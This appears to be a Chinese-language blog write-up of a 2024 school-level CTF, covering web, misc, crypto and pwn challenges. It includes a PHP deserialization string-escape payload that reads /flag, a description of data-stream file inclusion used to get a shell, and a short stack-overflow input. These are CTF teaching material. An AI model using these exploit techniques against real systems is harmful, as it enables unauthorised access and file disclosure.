心若向诚

Github | Mailer | About | Links

2024茂安杯初高中组WriteUp

Web1

签到题

view-source一下

得到qweasdrtyfgh.php

Web2

index是一个go to test.php的超链,进去后一眼文件包含

读了一下index跟test的源码,没有什么发现,绕不过strpos

但是data流可用,说明开启了allow_url_fopenallow_url_include

直接system任意命令执行写文件发现当前目录不可写,ls也看了一下没有别的马子,写到tmp再配合文件包含getshell

Web3

发现官方的WriteUp更看得懂一点,故换源

可以发现, 1、不允许直接读取flag 2、代码通过check方法检查反序列化后的字符串

而check方法中将admin和root替换为较长的hacker字符串,这就造成了字符串逃逸

当我们post提交如下payload

name=rootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootadmin”;s:5:”phone”;a:1:{i:0;i:123456;}s:6:”avatar”;s:5:”/flag”;}&phone[]=123456&avatar=test

反序列化得到的是: O:9:”user_info”:3:{s:4:”name”;s:180:”rootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootadmin”;s:5:”phone”;a:1:{i:0;i:123456;}s:6:”avatar”;s:5:”/flag”;}“;s:5:”phone”;a:1:{i:0;s:6:”123456”;}s:6:”avatar”;s:4:”test”;}

180的长度匹配到高亮结束,而经过了check函数后的字符串如下: O:9:”user_info”:3:{s:4:”name”;s:180:”hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker“;s:5:”phone”;a:1:{i:0;i:123456;}s:6:”avatar”;s:5:”/flag”;}”;s:5:”phone”;a:1:{i:0;s:6:”123456”;}s:6:”avatar”;s:4:”test”;}

180的字符串长度匹配到高亮结束,剩下匹配的为我们构造的逃逸的字符串,当反序列化匹配至}无误后,蓝字的内容则被忽略,完成反序列化,通过逃逸后avatar变成了/flag逃避了过滤。

Misc1

是一张图片,不是lsb也不用改weight

右键改成.rar得到未加密压缩包中的rsa.txt

右键改成.zip可得一个加密压缩包,内有flag.txt,不是伪加密

妈的我不会加密阿。丢去问gpt秒了

Misc2

签到题。压缩包内二维码扫描得到flag秒了

Crypto1

签到题。

PWN

别的大手子教的。我也学不会就是

main输入两个截断后进入get_data

这里 的len是自定义的可以为-1

进入token计算会异或一个48(‘0’),如果我name就是0,这个时候字符串会变为空

当后面赋值的时候因为len返回-1就无限赋值了,v7在file上面可以覆盖到file

算一下栈偏移打过去刚好把s中的flag覆盖到file,就打开flag并输出

payload 输入 0:0: